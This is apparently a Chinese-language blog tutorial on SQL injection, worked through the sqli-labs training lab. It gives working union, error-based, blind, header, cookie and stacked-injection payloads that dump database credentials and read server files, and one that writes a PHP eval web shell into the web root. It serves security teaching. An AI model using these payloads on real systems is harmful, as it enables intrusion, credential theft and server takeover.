网安-SQL注入-sqli-labs

发布于:2025-07-24 ⋅ 阅读:(16) ⋅ 点赞:(0)

目录

SQL注入

SQL注入-数据库

关系型数据库

非关系型数据库

数据库服务器层级关系

SQL语句语法

系统库

1.information_schema 库

2.performance_schema库

3.mysql库

4.sys库

SQL注入-高权限注入

MySQL 权限介绍

文件读写注入的原理

网站绝对路径

读取文件

写入文件

SQL注入-基础防御

魔术引号

内置函数

自定义关键字

其他安全防护软件

SQL注入-数据类型

1.数字型注入点

2.字符型注入点

3.搜索型注入点

4.xxx型注入点

SQL注入-数据提交方式

GET方式注入

POST方式注入

Request方式注入

HTTP头注入

Header头

Header头部注入

SQL注入-查询方式

select 查询数据

delete 删除数据

insert 插入数据

update 更新数据

SQL注入-盲注

1.基于报错的SQL盲注 - 报错回显(强制性报错   )

函数解析:

updatexml():

extractvalue():

floor()报错注入

group by floor(rand(0)*2)报错原理

floor(rand(0)*2)报错的过程:

less-11

1.找注入点

2.判断字段值 

4.信息收集

2.基于时间的SQL盲注 - 延时判断

if(a,b,c):

less-2

mid(a,b,c):

substr(a,b,c):

left(a,b):

推荐使用ASCII码

3.基于布尔的SQL盲注 - 逻辑判断

less-5 

1.猜解数据库的名字

2.猜解表名

SQL注入-加解密注入

less-21关 Cookie加密注入

SQL注入-堆叠注入

SQL注入-json注入

json注入

原理:

危害:

防御:

sql注入-xff注入

xff防御

XFF的危害

sqli-labs

less-1 字符型注入

1.找注入点

​编辑​2.判断字段值

3.找回显点 

4.信息收集(注意union前后格式要相同)

5.开始逐级爆破

查数据库

查表名

查字段

获取username、password

less-2 数字型注入

1.找注入点

​编辑​2.判断字段值

剩余同less-1

3.找回显点

less-3 ')闭合

less-4 ")闭合

less-5报错/布尔盲注

1.猜解数据库的名字

2.猜解表名

 less-6"闭合 报错注入

less-7outfile写马注入

less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

1.找注入点

2.判断字段值

3.找回显点

4.信息收集

​编辑​剩余同less-1

less-20 POST - Cookie injections - Uagent field  - Error based (基于错误的cookie头部POST注入)

1.找注入点

剩余同less-1 


SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL注入-数据库

关系型数据库

关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似。
关系型数据库中表与表之间有很多复杂的关联关系。
常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的设计NoSQL数据库,适合追求速度和可扩展性,业务多变的场景。

数据库排行:https://db-engines.com/en/ranking

数据库服务器层级关系

服务器里面

        ↓
多个数据库

        ↓
多个数据表

        ↓
多个行 列  字段

        ↓
     数据

SQL语句语法

 查询当前数据库服务器所有的数据库

show databases;

选中某个数据库

use 数据库名字 test

查询当前数据库所有的表

show tables;

1.查询t1表所有数据  2.查询关键 select   3.* 所有  4.from  表名

select * from t1;

条件查询 id=2

where 条件 

select * from t1 where id=2;

1.查询id=2   pass =111  2.union 合并查询 

3. 2个特性:

前面查询的语句和后面的查询语句结果互不干扰


前面的查询语句的字段数量和后面的查询语句字段数量要一致

4. * == 3

 select id from t1 where id=-1 union select * from t1 where pass =111;

order by 排序
order by 字段名字  id  也可以 跟上数字 1 2 3 4 

猜解表的列数 知道表有几列

系统库

提供了访问数据库元数据的方式。元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限。
 

1.information_schema 库

是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息column_name

table_schema 是 (数据库) 的名称。

table_name 是具体的表名。

table_type 表的类型。

2.performance_schema库

具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3.mysql库

核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码

4.sys库

具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。

SQL注入-高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。

多个网站共享mysql服务器

MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,
mysql 5.7.22 

select * from user where user='root' and host='localhost'\G;

	mysql权限表的验证过程为:

	先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

	通过身份认证后,进行权限分配,
	按照user,db,tables_priv,columns_priv的顺序进行验证。
	即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
	将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
	并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
 
 2.1 系统权限表
	User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
	Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
	Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
	Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
	Procs_priv表:存放存储过程和函数级别的权限


 2. MySQL 权限级别分为: 
	全局性的管理权限: 作用于整个MySQL实例级别 
	数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上 
	数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象
 
 3.查看mysql 有哪些用户:
	mysql> select user,host from mysql.user;
 
 4.查看用户对应权限
 select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有
 
 5.创建 mysql 用户
	有两种方式创建MySQL授权用户

	执行create user/grant命令(推荐方式)
	CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
	通过insert语句直接操作MySQL系统权限表
 
 6.只提供id查询权限
 grant select(id) on test.temp to test1@'localhost' identified by '123456';
 
 7.把普通用户变成管理员
	GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

 8.删除用户
	drop user finley@'localhost';

?id=-1 union select 1,2,group_concat(table_name) from information_schema.columns where table_schema ='pikachu'--+ 

文件读写注入的原理

利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

网站绝对路径

Windows常见:

Phpstudy    phpstudy/www

                   phpstudy/PHPTutorial/www

Xampp        xampp/htdocs

Wamp         wamp/www

Appser        appser/www

Linux常见:

var/mysql/data     var/www/html

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

读取文件

函数:load_file()

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...

?id=-1 union select 1,2,load_file('D:\\phpstudy_pro\\WWW\\sql\\sql-connections\\db-creds.inc')--+

写入文件

函数:into outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径。

文件已存在会报错。 

SQL注入-基础防御

魔术引号

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。
最好在编码时不要转义而在运行时根据需要而转义。

在php.ini文件
magic_quotes_gpc = On 开启
将其改为
magic_quotes_gpc = Off 关闭


内置函数

做数据类型的过滤

is_int()等

addslashes()

mysql_real_escape_string()

mysql_escape_string()

自定义关键字

str_replace()

其他安全防护软件

WAF ......

SQL注入-数据类型

1.数字型注入点

许多网页链接有类似的结构 [http://xxx.com/users.php?id=1](http://xxx.com/users.php?id=1) 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 `select * from 表名 where id=1` 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where id=1 and 1=1`

2.字符型注入点

网页链接有类似的结构 [http://xxx.com/users.php?name=admin](http://xxx.com/users.php?name=admin) 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 `select * from 表名 where name='admin'` 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where name='admin' and 1=1 '` 我们需要将这些烦人的引号给处理掉。

3.搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 `"keyword=关键字"` 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:`select * from 表名 where 字段 like '%关键字%'` 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'`

4.xxx型注入点

其他型:

也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx') or 1=1 # )

常见的闭合符号:'     ''    %     (      {

SQL注入-数据提交方式

GET方式注入

get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入。

POST方式注入

post提交方式主要适用于表单的提交,用于登录框的注入

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示。

Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用

超全局变量:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了。
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

HTTP头注入

Header头

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分

Header头部注入

header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

SQL注入-查询方式

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能时SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。

select 查询数据

例如:在网站应用中进行数据显示查询操作
select * from user where id=$id


delete 删除数据

例如:后台管理里面删除文章删除用户等操作
delete from user where id=$id


insert 插入数据

例如:在网站应用中进行用户注册添加操作

inser into user (id,name,pass) values(1,'zhangsan','1234')

update 更新数据

例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id=1


SQL注入-盲注

盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:

1.基于报错的SQL盲注 - 报错回显(强制性报错   )

函数解析:

updatexml():

从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);

'or updatexml(1,concat(0x7e,database()),0)or'

extractvalue():

从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

extractvalue(XML_document,XPath_String)

' or extractvalue(1,concat(0x7e,database())) or'

' union select 1,extractvalue(1,concat(0x7e,(select version())))%23

函数应用:

floor()报错注入

原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。 

报错需要满足的条件:

floor()报错注入在MySQL版本8.0 、7.3.4nts已失效
注入语句中查询用到的表内数据必须>=3条
需要用到的count(*)、floor()或者ceil()、rand()、group by

函数:

floor():向下取整  floor(10.5)  =  10
rand():随机数 0 ~ 1之间
count(*):函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
group_by: 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。
会建立一张临时表
注意:多个字段分组要使用某个列的聚合函数 cout sum等

爆出当前数据库

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出所有的数据库 通过limit来控制

?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出表名

?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出字段

?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出数据

?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
group by floor(rand(0)*2)报错原理

实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 ......的顺序
mysql官方有给过提示,就是查询的时候如果**使用rand()的话,该值会被计算多次。

“被计算多次”*就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。

从上面可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。

floor(rand(0)*2)报错的过程:

具体看select count(*) from student group by floor(rand(0)*2);的查询过程

 

x和c是别名 

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23 

less-11

1.找注入点

单引号闭合 

2.判断字段值 

4.信息收集

extractvalue 

-1' union select 1,extractvalue(1,concat(0x7e,(select version())))--+ &passwd=admin&submit=Submit

-1' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))--+ &passwd=admin&submit=Submit 

-1' union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+ &passwd=admin&submit=Submit

 updatexml

-1' union select 1,updatexml(1,concat(0x7e,(select database())),1)--+ &passwd=admin&submit=Submit 

-1' union select 1,updatexml(1,concat(0x7e,database()),1)--+ &passwd=admin&submit=Submit &passwd=admin&submit=Submit 

'or updatexml(1,concat(0x7e,database()),0)or'  

 -'or updatexml(1,concat(0x7e,(select database())),0)or'

2.基于时间的SQL盲注 - 延时判断

sleep():sleep函数可以使计算机程序(进程,任务或线程)进入休眠

if():if是计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c):从b开始,截取字符串a的c长度

left() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100:判断x的ascii值是否为100

if(a,b,c):

可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c

 使用if与sleep结合使用:

less-2

Less-2/index.php?id=1 and sleep(if(database()='test',0,5))
可以通过length()来判断数据库的长度
Less-2/index.php?id=1 and sleep(if(length(database())=8,8,0))

mid(a,b,c):

截取字符串 数组 数字

substr只能截取字符串

 Less-2/index.php?id=1 and sleep(if(mid(database(),1,1)='t',0,5))

substr(a,b,c):

substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。 

substr()函数使用:

left(a,b):

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

 

推荐使用ASCII码

1.防止引号 ' "转义

2.方便以后工具的使用

 使用ascii函数()

Less-2/?id=1 and if(ascii(mid(database(),1,1))>115,sleep(5),0)--+ 

select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);

select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);

3.基于布尔的SQL盲注 - 逻辑判断

regexp like ascii left ord mid

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

注入流程:

返回False时:

返回True时:

 

less-5 

1.猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+  正常`

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2.猜解表名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

:select下的limit是第几个表。

  substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114  解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101  解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为referer

SQL注入-加解密注入

Base64是网络上最常见的用于传输8Bit的编码方式之一,Base64就是一种基于64个可打印字符来表示数据的方法。

less-21关 Cookie加密注入
 

 admin'or updatexml(1,concat(0x7e,database()),1)or'

YWRtaW4nb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSlvcic= 

剩余同less-1 

SQL注入-堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束,在;结束一个sql语句后面继续构造下一个语句会一起执行,造就了堆叠注入。

union injection(联合注入)也是将两条语句合并在一起,区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句。

但许多数据库不支持堆叠查询。

less-38

/Less-38/?id=1';insert into users(id,username,password) values ('666','hello','world')--+

SQL注入-json注入

JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAscript(European Computer Manufacturers Association, 欧洲制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。

json注入

原理:

JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造JSON,则可以更改JSON 数据的语义。

危害:

攻击者可以利用JSON注入漏洞在JSON数据中插入元素,从而允许JSO数据对业务非常关键的值执行恶意操作,获取管理权限等,严重的可能导致XSS和动态解析代码。

防御:

检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注使用JSON标准对JSON 数据进行处理,防止JSON注入。

json={"username":"admin' order by 3#"}
json={"username":"admin' and 1=2 union select 1,2#"}
json={"username":"admin' and 1=2 union select user(),database()#"}

sql注入-xff注入

xff注入是通过http请求参数来进行注入的。

跟cookie注入的方式差不多,也是修改掉注入的请求来获取信息。

XFF,是X-Forwarded-for的缩写,X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP。

XFF注入是SQL注入的一种,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。X-Forwardedfor 可以随意设置字符串,如果程序中获取这个值,再带入数据库査询会造成 SQL 注入。除了 X-Forwarded-For ,还有 HTTP CLIENT IP 都可以由客户端控制值,所以服务端接受这两个参数的时候没有过滤会造成 SQL注入或者更高的危害。

xff防御

1.限制登录次数,根据|P地址
2.防止异地登录 IP地址

XFF的危害

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作:数据库服务器被攻击数据库的系统管理员帐户被窜改。
5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。


getenv(' HTTP_CLIENTIP')是获取当前客户端的IP,可以伪造。
如果用代理服务器接访问的,它记录的就是代理服务器的IP,而不是真实的用户IP。也就是说,这个ip地址可以进行伪造的。

HTTP CLIENT IP:获取当前客户端的IP
HTTP_X_FORWARDED_FOR:浏览当前页面的用户计算机的网关
REMOTE ADDR:浏览当前页面的用户计算机的ip地址
getenv():获取当前系统的环境变量

通过bp抓包后,发现没有X-Forwarded-for
可以通过伪造X-Forwarded-for来实现注入【不常见】

X-Forwarded-for :1.1.1.1' and 1=1#

查表名

X-Forwarded-For:127.0.0.1'and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='bank'),3,4 #

剩余同less-1

sqli-labs

less-1 字符型注入

1.找注入点

有回显,字符型注入,单引号闭合

?id=1 and 1=2



2.判断字段值

字段值为3

?id=1' order by 4--+

 ?id=1' order by 3--+

​ 

3.找回显点 

?id=-1' union select 1,2,3 --+

4.信息收集(注意union前后格式要相同)

database():当前数据库名

version(): 数据库版本
user(): 数据库用户,用于判断是否有最高权限

数据库版本version()
高版本:5.0 系统库:infromation …
低版本:5.0 

?id=-1' union select 1,database(),version()--+ 

5.开始逐级爆破

查数据库

?id=-1' union select 1,database(),group_concat(schema_name) from information_schema.schemata--+

group_concat()函数可以让多个数据在一行显示,但是只能显示64位,可以选择截取或者用limit的方式显示全部数据。

?id=-1' union select 1,2,(schema_name) from information_schema.schemata limit 0,1--+

查表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.columns where table_schema ='security'--+

查字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name = 'users'--+

获取username、password

?id=-1' union select 1,2,group_concat(username) from security.users--+ 

 ?id=-1' union select 1,2,group_concat(password) from security.users--+

?id=-1' union select 1,2,(select group_concat(username,0x3a,password)from security.users)--+

less-2 数字型注入

1.找注入点

?id=1 and 1=2 网页无回显-->数字型注入


不需要闭合符

​2.判断字段值

?id=1 order by 4

剩余同less-1

3.找回显点

?id=-1 union select 1,2,3 --+

less-3 ')闭合

剩余同less-1

less-4 ")闭合

剩余同less-1

less-5报错/布尔盲注

1.猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+  正常`

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

2.猜解表名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

:select下的limit是第几个表。

  substr下的是截取的表内容。

当前库下(注入点连接的数据库)第一个表ASCII码为114  解码为r

当前库下(注入点连接的数据库)第一个表ASCII码为101  解码为e

当前库下(注入点连接的数据库)第一个表ASCII码为....  解码为referer

 less-6"闭合 报错注入

 "闭合

?id=-1" union select 1,extractvalue(1,concat(0x7e,database()))--+

?id=-1" union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+

字段数不匹配,应该有3列 

 ?id=-1" union select 1,2,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+

 剩余同less-1

 

less-7outfile写马注入

'))闭合 字段为3 

?id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "D:/phpstudy_pro/WWW/sql/Less-7/ma.php"--+

 

 

 

 

less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

1.找注入点

'闭合

​ 

2.判断字段值

​ 

3.找回显点

联合查询union select

-1' union select 1,2 --+&passwd=admin&submit=Submit

​ 

4.信息收集

-1' union select 1,database() --+&passwd=admin&submit=Submit

剩余同less-1

less-20 POST - Cookie injections - Uagent field  - Error based (基于错误的cookie头部POST注入)

1.找注入点

​ 

uname=admin666' and 1=1--+&passwd=admin&submit=Submit

单引号,报错型,cookie型注入。  

 Cookie: uname= -1' union select 1,2,database()--+

剩余同less-1 


网站公告

今日签到

点亮在社区的每一天
去签到